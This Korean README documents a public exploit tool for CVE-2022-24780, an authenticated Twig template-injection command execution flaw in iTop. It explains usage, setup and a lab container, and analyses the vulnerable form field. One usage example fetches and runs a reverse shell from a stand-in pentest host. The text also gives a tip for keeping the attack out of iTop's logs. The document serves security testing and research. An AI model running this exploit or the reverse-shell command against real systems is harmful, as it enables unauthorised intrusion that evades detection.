acceis/exploit-cve-2022-24780iTop < 2.7.6 - (인증된) 원격 명령 실행
iTop < 2.7.6 - (인증된) 원격 명령 실행
CVE-2022-24780에 대한 익스플로잇입니다.
[EDB-TODO] [PacketStorm] [WLB-2022050075]
$ ruby exploit.rb -h
iTop < 2.7.6 - (인증된) 원격 명령 실행
사용법:
exploit.rb full <url> <username> <password> <cmd> [--debug]
exploit.rb light <url> <username> <password> <cmd> [--debug]
exploit.rb -h | --help
full: 브라우저를 에뮬레이트하고 JavaScript를 실행하며 원래 사용자 프로필 정보를 보존합니다.
light: HTML만 파싱하고 요청을 전송하며, JavaScript는 실행하지 않습니다. (파괴적) 사용자 정보(전화번호, 위치, 직책)를 초기화합니다.
옵션:
<url> HTTP 스키마, 포트 및 루트 폴더를 포함한 루트 URL(기본 경로)
<username> iTop 포털 사용자 이름
<password> iTop 포털 사용자 비밀번호
<cmd> 대상에서 실행할 명령어
--debug 인수 표시
-h, --help 이 화면 표시
예제:
exploit.rb full http://example.org john 's9nvEIZnEo6ghi' 'echo proof > /var/www/html/proof.txt'
exploit.rb light https://example.org:5000/itop john 's9nvEIZnEo6ghi' 'curl --remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl'
익스플로잇의 full 종류는 Watir를 사용하며, Selenium으로 구동되는 웹 브라우저를 이용해 사용자 브라우징을 에뮬레이트합니다. 이는 사용자 정보를 보존하는 데 필요합니다. 익스플로잇은 포털 사용자 프로필의 사용자 정보를 수정하는 데 사용되는 폼의 하위 부분에 SSTI 페이로드를 주입합니다. 일부 값은 하드코딩되거나 HTML에서 가져올 수 있지만, 다른 값(전화번호, 위치, 직책)은 JavaScript를 통해 동적으로 로드되어 HTML에 주입됩니다. 따라서 익스플로잇이 파괴적이지 않도록 하려면 JavaScript를 실행하여 해당 값을 검색할 수 있어야 합니다.
익스플로잇의 light 종류는 크게 신경 쓰지 않으며, 대신 일부 사용자 정보 필드(전화번호, 위치, 직책)에 대해 null 값을 파괴적으로 설정합니다. 그러나 이 종류는 실행 속도가 빠르고, 종속성이 적으며, JavaScript를 실행하지 않으며, X 환경이 필요하지 않습니다(Watir는 웹 브라우저를 실행하기 위해 필요).
요약: bundle install을 모두 설치하세요.
Full 종류
gem을 사용한 예:
gem install httpx docopt watir webdrivers
Light 종류
gem을 사용한 예:
gem install httpx docopt nokogiri
페이로드에 큰따옴표(")나 백슬래시(\)를 사용하는 것은 권장되지 않습니다. 페이로드가 JSON에 주입되기 때문입니다.
경고: 이 컨테이너는 프로덕션 용도에 적합하지 않습니다!
vbkunin/itop:2.7.4 사용 - 소스 - docker hub
$ docker run -d -p 8000:80 --name=itop-CVE-2022-24780 vbkunin/itop:2.7.4
이 취약점은 Markus KRELL이 발견했습니다.
발견자가 작성한 취약점 분석:
ACCEIS는 불법 활동을 조장하거나 장려하지 않으며, 이 저장소에서 제공되는 모든 콘텐츠는 연구, 교육 및 위협 탐지 목적으로만 사용됩니다.
보안 감사자(또는 다른 화이트햇 역할)로서, 한편으로는 식별한 애플리케이션의 버전 번호를 기반으로 이론적 취약점의 실제 실용적 악용 가능성을 확인하기 위해 익스플로잇 스크립트를 실행하고 싶지만, 다른 한편으로는 파괴적인 작업 없이 고객 애플리케이션이 처음 발견한 상태 그대로 유지되도록 적절히 수행되기를 원합니다.
예를 들어, 이 익스플로잇은 사용자 프로필 페이지에서 발생하므로, 이미 채워진 사용자 정보(이름, 성, 조직 ID, 이메일, 전화번호, 위치 ID, 직책, 관리자 ID)가 있는 폼이 있습니다. 공격이 작동하려면 취약한 필드를 덮어쓰고 다른 필드는 null 값이나 필요한 경우 임의의 값으로 채우면 됩니다. 이것이 바로 light 종류의 익스플로잇이 수행하는 작업입니다. 그러나 이렇게 하면 해당 사용자의 실제 정보가 파괴됩니다. 테스트 환경에서는 문제가 되지 않지만, 프로덕션 환경에서는 실제 문제입니다. 블랙햇은 이에 대해 신경 쓰지 않지만, 화이트햇으로서 데이터를 보존해야 합니다. 따라서 해결책은 실제 데이터를 가져와 POST 요청에 재사용하는 것입니다.
전통적인 웹 애플리케이션에서는 취약한 엔드포인트를 대상으로 올바른 매개변수를 사용하여 POST 요청을 직접 구성하기만 하면 되는 경우가 많습니다. 때로는 세션/쿠키, 리디렉션, 필요한 이전 상태, 일부 ID나 CSRF 방지 토큰을 처리해야 할 수도 있지만, 이 모든 것은 어떤 언어의 HTTP 라이브러리로도 매우 간단하게 수행할 수 있습니다.
실제 데이터를 검색하기 위해, 폼의 데이터가 다음에서 오는 경우:
복잡한 JavaScript 조작으로 많은 값이 설정되는 현대 웹 애플리케이션에서는 상황이 조금 더 까다로워지기 시작합니다. 여기서는 HTML을 파싱하거나 REST API를 요청할 수 없으며, JavaScript 파일에서 직접 값을 검색하거나 여러 줄을 파싱하여 값을 다시 계산할 수도 없습니다. JS 계산이 너무 복잡하거나, 여러 JS 파일에서 발생하거나, JavaScript 소스 코드가 난독화되거나 패킹된 경우, 메커니즘을 역공학하고 값을 추출하는 데 너무 많은 노력과 시간이 필요할 것입니다. 이 경우 애플리케이션의 JavaScript와 실제로 상호 작용해야 합니다. 그러나 HTTP 라이브러리만 필요한 일반적인 익스플로잇 스크립트는 (혼자서) 그렇게 할 수 없습니다!
취약점을 수동으로 악용하는 것은 쉽습니다. 애플리케이션을 탐색하고, 브라우저가 모든 JavaScript를 처리하도록 두고, 요청이 전송되기 전에 수정할 수 있도록 Burp Suite와 같은 인터셉팅 프록시를 설정하면 됩니다. 그러나 동일한 작업을 자동화된 방식으로 수행하는 것은 훨씬 더 어렵습니다. JavaScript와 상호 작용하고 실행하려면 헤드리스 브라우저(디스플레이 환경이 필요할 수도 있고 필요하지 않을 수도 있음)와 사용자 에뮬레이션 라이브러리가 필요합니다. 다행히도 헤드리스 브라우저를 구동하는 데 사용할 수 있는 고급 기능 테스트 라이브러리가 이미 있습니다. 가장 유명한 것은 Selenium이지만 Cypress도 있습니다. 테스트 스위트 외에도 Playwright나 puppeteer와 같은 보다 일반적인 자동화를 제공하는 라이브러리도 있습니다. 두 경우 모두 사용자가 애플리케이션을 사용하는 것처럼 사용자 행동을 모방하는 DSL을 사용하므로, 작성할 코드는 브라우저에 "여기를 클릭하세요", "이름 필드에 이름을 입력하세요", "이 링크를 클릭하세요" 등을 지시합니다. 테스트 프레임워크의 한계는 일반 사용자가 하는 작업만 수행할 수 있다는 것입니다. 예를 들어, 일반 사용자는 스크립트 태그나 숨겨진 필드의 내용을 가져오지 않으므로 그렇게 할 수도 없습니다. 또한 값을 가져와서 예상 값과 비교하는 데 사용되며, 값을 설정하는 데는 사용되지 않습니다. 또한 헤드리스 브라우저를 사용한 실행은 훨씬 느리고 다소 번거로운 DSL 작성이 필요할 수 있습니다. 따라서 궁극적으로 헤드리스 브라우저와 테스트 프레임워크를 최소한으로 사용하려고 합니다.
light 종류의 익스플로잇이 수행하는 작업은 애플리케이션에 연결하고, 사용자 프로필 폼을 가져와서 검색할 수 있는 모든 값을 가져온 다음 전화번호, 위치 ID 및 직책에 빈 값을 사용하여 익스플로잇을 전송하는 것입니다.
반면 full 종류의 익스플로잇이 수행하는 작업은 애플리케이션에 연결하고, 사용자 프로필 폼을 가져와서 검색할 수 있는 모든 값을 가져온 다음, 헤드리스 브라우저를 사용하여 연결하고, 사용자 프로필 폼을 가져와 JavaScript에서 설정된 3개의 값을 검색한 다음 익스플로잇을 전송하는 것입니다. 이는 JavaScript에서 채워진 데이터 필드에 null 값을 사용하지 않고, 해당 값을 채우는 JavaScript를 실행하는 헤드리스 브라우저로 실제로 검색한다는 점을 제외하면 거의 동일한 프로세스입니다. 또한 헤드리스 브라우저만을 사용하여 100% 익스플로잇을 작성하는 것도 기술적으로 가능하지만, 앞서 논의한 한계에 직면할 것입니다. 그래서 저는 헤드리스 브라우저를 최소로 사용하는 하이브리드 접근 방식을 선택했습니다.
취약점 CVE-2022-24780의 발견자 Markus KRELL은 상세한 분석 블로그 게시물을 작성했습니다: iTop – 고객 포털 내 템플릿 인젝션.
간단히 말해, 취약점은 사용자 프로필 변경 시 발생합니다. 사용자가 정보를 업데이트하기 위해 폼을 제출하면 백엔드에 대한 다양한 메타데이터를 포함하는 거대한 JSON 객체가 전송되지만, 업데이트할 사용자 데이터는 JSON formproperties.layout.content 하위 노드에 XHTML로 저장됩니다. 그러나 Markus는 소스 코드에서 formproperties.layout.type이 XHTML 또는 Twig를 모두 수용할 수 있음을 발견했습니다. 물론 Twig가 언급된 것을 보고 즉시 잠재적인 SSTI를 생각했습니다. 그래서 콘텐츠의 모든 필드를 시도하여 취약한 필드를 식별했고, data-field-id 및 data-field-flags 속성이 취약하다는 것을 발견했습니다. 그런 다음 일반적인 Twig 템플릿 인젝션 페이로드를 사용할 수 있습니다. 또한 추가로, 표현식에 |join(',')을 추가하면 결과 배열이 문자열로 변환되어 iTop의 로그에 항목이 기록되는 것을 방지하여 공격을 더 은밀하게 만들 수 있다는 것을 발견했습니다.